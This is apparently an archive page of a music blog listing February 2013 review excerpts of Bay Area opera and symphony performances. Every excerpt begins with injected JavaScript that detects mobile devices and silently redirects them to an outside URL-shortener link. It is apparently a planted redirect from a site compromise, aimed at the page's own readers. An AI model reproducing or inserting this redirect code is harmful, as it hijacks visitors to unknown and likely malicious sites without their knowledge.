February 2013

February 23, 2013

Opus Project at Berkeley Arts Festival

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Local composers having fun Mark Alburger, a local composer of note, has long cut a colorful figure in the Bay Area’s music and opera scene. In...

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February 16, 2013

Opera Parallèle performs Ainadamar in SF

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Compelling performance of a problematic work Imagine an opera scene in which five flamenco dancers are executed by volleys of rifle fire. Horrible....

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February 15, 2013

Lucia di Lammermoor at West Bay Opera

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); When Italians sing of Scottish blood feuds… A master of bel canto writing, Gaetano Donizetti created his operas out of direct and...

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February 7, 2013

Lynn Harrell joins Berkeley Symphony at Zellerbach

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.today/cQtGECkSs0r9"); Cello artistry and mugging… Finding the sweet spot in a program that mixed nostalgia with bitter cynicism would tax most conductors, but Joana...

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